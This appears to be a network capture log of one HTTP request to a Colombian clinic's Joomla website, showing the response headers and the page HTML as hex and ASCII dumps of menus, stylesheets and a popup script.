2023-03-10 06:56:57 UTC	2851	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: clinicasanluis.com.co
2023-03-10 06:56:58 UTC	2852	IN	HTTP/1.1 200 OK Date: Fri, 10 Mar 2023 06:56:58 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Expires: Wed, 17 Aug 2005 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Set-Cookie: d55e479f054c94814cbc10d217aaa990=7f6371c835409ef2eb1ca891c7a11820; path=/; HttpOnly Last-Modified: Fri, 10 Mar 2023 06:56:58 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JUNtY58ClC6CrKQMWPu9eC9exRfwhSI5Ifw10%2B197b0DAS02uGJGpoke1qF1k4rE44sofb8i9%2Fb54yIoZEG0M%2FXeJ6cFl1FmkKVu%2BPUrnkLTId7iIUrtIf4%2FgsQygcT1Ma%2BWpoiuZPc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a929da5b9b31-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:58 UTC	2853	IN	Data Raw: 37 63 34 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 2d 45 53 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 6c 69 6e 69 63 61 73 61 6e 6c 75 69 73 2e 63 6f 6d 2e 63 6f 2f 22 20 Data Ascii: 7c4a<!DOCTYPE html><html lang="es-ES" dir="ltr"><head><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta charset="utf-8" /><base href="https://clinicasanluis.com.co/"
2023-03-10 06:56:58 UTC	2853	IN	Data Raw: 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 70 6c 75 67 69 6e 73 2f 73 79 73 74 65 6d 2f 72 6f 6b 62 6f 78 2f 61 73 73 65 74 73 2f 73 74 79 6c 65 73 2f 72 6f 6b 62 6f 78 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 6f 64 75 6c 65 73 2f 6d 6f 64 5f 70 6f 70 75 70 61 68 6f 6c 69 63 2f 63 73 73 2f 6a 71 75 65 72 79 2e 67 61 66 61 6e 63 79 62 6f 78 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 63 73 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 68 Data Ascii: link href="/plugins/system/rokbox/assets/styles/rokbox.css" rel="stylesheet" /><link href="/modules/mod_popupaholic/css/jquery.gafancybox.min.css" rel="stylesheet" /><link href="/media/gantry5/assets/css/font-awesome.min.css" rel="stylesheet" /><link h
2023-03-10 06:56:58 UTC	2855	IN	Data Raw: 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 63 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 73 79 73 74 65 6d 2f 6a 73 2f 6d 6f 6f 74 6f 6f 6c 73 2d 6d 6f 72 65 2e 6a 73 3f 39 38 39 64 61 34 36 34 36 61 31 61 30 64 66 66 66 39 61 35 36 38 35 66 62 36 65 65 33 36 64 61 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c Data Ascii: c="/media/system/js/core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-core.js?989da4646a1a0dfff9a5685fb6ee36da"></script><script src="/media/system/js/mootools-more.js?989da4646a1a0dfff9a5685fb6ee36da"></script><
2023-03-10 06:56:58 UTC	2856	IN	Data Raw: 73 65 74 73 2f 6a 73 2f 68 74 6d 6c 35 73 68 69 76 2d 70 72 69 6e 74 73 68 69 76 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 65 6e 67 69 6e 65 73 2f 6e 75 63 6c 65 75 73 2f 63 73 73 2f 6e 75 63 6c 65 75 73 2d 69 65 39 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 2f 3e 0a 20 20 20 20 20 20 20 20 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 74 63 68 6d 65 64 69 61 2e 70 6f 6c 79 66 69 6c 6c 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e Data Ascii: sets/js/html5shiv-printshiv.min.js"></script> <link rel="stylesheet" href="/media/gantry5/users/nucleus/css/nucleus-ie9.css" type="text/css"/> <script type="text/javascript" src="/media/gantry5/assets/js/matchmedia.polyfill.js"></script>
2023-03-10 06:56:58 UTC	2857	IN	Data Raw: 65 73 74 72 61 5f 63 6c 69 6e 69 63 61 2f 6c 6f 67 6f 5f 68 6f 72 69 7a 6f 6e 74 61 6c 2e 70 6e 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 36 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6d 65 6e 75 2d 38 36 30 35 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 6e 61 76 20 63 6c 61 73 73 3d 22 67 2d 6d 61 69 6e 2d 6e 61 76 22 20 72 6f 6c 65 3d 22 6e 61 76 69 67 61 74 69 6f 6e 22 20 64 61 74 61 2d 67 2d 68 6f 76 65 72 2d 65 78 70 61 6e 64 3d 22 74 72 75 65 22 3e 0a 3c 75 6c 20 63 6c 61 73 73 3d 22 67 2d 74 6f 70 Data Ascii: estra_clinica/logo_horizontal.png" alt="Clinica San Luis" /></a></div></div><div class="g-block size-63"><div id="menu-8605-particle" class="g-content g-particle"> <nav class="g-main-nav" role="navigation" data-g-hover-expand="true"><ul class="g-top
2023-03-10 06:56:58 UTC	2859	IN	Data Raw: 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 23 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 73 70 61 6e 3e 42 61 63 6b 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 65 71 75 69 70 6f 2d 6d 65 64 69 63 6f 2f 70 65 64 69 61 74 72 61 73 22 3e 0a 20 3c 73 70 61 6e 20 63 6c Data Ascii: -menu-item-container" href="#" data-g-menuparent=""><span>Back</span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-215 "><a class="g-menu-item-container" href="/index.php/somos-especialistas/equipo-medico/pediatras"> <span cl
2023-03-10 06:56:58 UTC	2860	IN	Data Raw: 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 70 65 63 69 61 6c 69 64 61 64 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6c 69 3e 0a 3c 2f 75 6c 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 73 65 70 61 72 61 74 6f 72 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 30 20 67 2d 70 61 72 65 6e 74 20 67 2d 73 74 61 6e 64 61 72 64 20 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 Data Ascii: class="g-menu-item-content"><span class="g-menu-item-title">Especialidades</span></span></a></li></ul></div></div></li></ul></li><li class="g-menu-item g-menu-item-type-separator g-menu-item-110 g-parent g-standard "><div class="g-menu-item-c
2023-03-10 06:56:58 UTC	2861	IN	Data Raw: 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 70 6f 6c 69 74 69 63 61 73 2d 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 6f 6c c3 ad 74 69 63 61 73 20 69 6e 73 74 69 74 75 63 69 6f 6e 61 6c 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 31 31 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d Data Ascii: dex.php/nuestra-clinica/politicas-institucionales"><span class="g-menu-item-content"><span class="g-menu-item-title">Polticas institucionales</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-115 "><a class="g-m
2023-03-10 06:56:58 UTC	2863	IN	Data Raw: 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 50 61 63 69 65 6e 74 65 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 70 61 72 65 6e 74 2d 69 6e 64 69 63 61 74 6f 72 22 20 64 61 74 61 2d 67 2d 6d 65 6e 75 70 61 72 65 6e 74 3d 22 22 3e 3c 2f 73 70 61 6e 3e 20 3c 2f 61 3e 0a 3c 75 6c 20 63 6c 61 73 73 Data Ascii: ass="g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes"><span class="g-menu-item-content"><span class="g-menu-item-title">Pacientes</span></span><span class="g-menu-parent-indicator" data-g-menuparent=""></span> </a><ul class
2023-03-10 06:56:58 UTC	2864	IN	Data Raw: 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 39 36 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 6e 75 65 73 74 72 6f 73 2d 70 61 63 69 65 6e 74 65 73 2f 65 64 75 63 61 63 69 6f 6e 2d 79 2d 70 72 6f 6d 6f 63 69 6f 6e 2d 70 61 72 61 2d 6c 61 2d 64 6f 6e 61 63 69 6f 6e 2d 64 65 2d 6f 72 67 61 6e 6f 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 Data Ascii: ><li class="g-menu-item g-menu-item-type-component g-menu-item-396 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/nuestros-pacientes/educacion-y-promocion-para-la-donacion-de-organos"><span class="g-menu-item-content"><span class
2023-03-10 06:56:58 UTC	2865	IN	Data Raw: 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 53 49 43 4f 46 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 34 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 6e 75 65 73 74 72 61 2d 63 6c 69 6e 69 63 61 2f 69 6e 64 69 63 61 64 6f 72 65 73 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 Data Ascii: m-content"><span class="g-menu-item-title">SICOF</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-384 "><a class="g-menu-item-container" href="/index.php/nuestra-clinica/indicadores"><span class="g-menu-item-cont
2023-03-10 06:56:58 UTC	2867	IN	Data Raw: 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 63 72 c3 ad 62 65 6e 6f 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 Data Ascii: ="g-menu-item-content"><span class="g-menu-item-title">Escrbenos</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu
2023-03-10 06:56:58 UTC	2868	IN	Data Raw: 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 Data Ascii: pan></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-385 "><a class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></spa
2023-03-10 06:56:58 UTC	2869	IN	Data Raw: 20 65 73 70 65 72 61 6e 7a 61 20 64 65 6c 20 6d 61 c3 b1 61 6e 61 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6c 61 74 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 Data Ascii: esperanza del maana</div></div> </div><div class="platform-content"><div class="moduletable "><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0
2023-03-10 06:56:58 UTC	2871	IN	Data Raw: 70 65 6e 45 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 6f 70 65 6e 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 45 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 Data Ascii: penEffect: 'none', //elastic, fade or none openSpeed : 250, closeEffect: 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,
2023-03-10 06:56:58 UTC	2872	IN	Data Raw: 61 68 6f 6c 69 63 27 29 3b 0d 0a 09 72 65 66 49 44 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 09 0d 0a 7d 0d 0a 66 75 6e 63 74 69 6f 6e 20 68 69 64 65 73 74 75 66 66 28 62 6f 78 69 64 29 7b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 Data Ascii: aholic');refID.style.display = "none";}function hidestuff(boxid){ document.getElementById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto37
2023-03-10 06:56:58 UTC	2873	IN	Data Raw: 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 Data Ascii: ze-100 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><d
2023-03-10 06:56:58 UTC	2875	IN	Data Raw: 20 68 69 64 64 65 6e 2d 70 68 6f 6e 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 68 69 64 64 65 6e 2d 70 68 6f 6e 65 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 Data Ascii: hidden-phone"><div class="customg-animatedblock hidden-phone"><img src="/images/rocketlauncher/home/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div cla
2023-03-10 06:56:58 UTC	2876	IN	Data Raw: 69 63 6f 6e 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 74 61 66 6f 6c 69 6f 5f 68 6f 6d 65 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d Data Ascii: icon"></div><div class="g-promoimage-desc"><a class="portafolio_home" href="/index.php/somos-especialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-
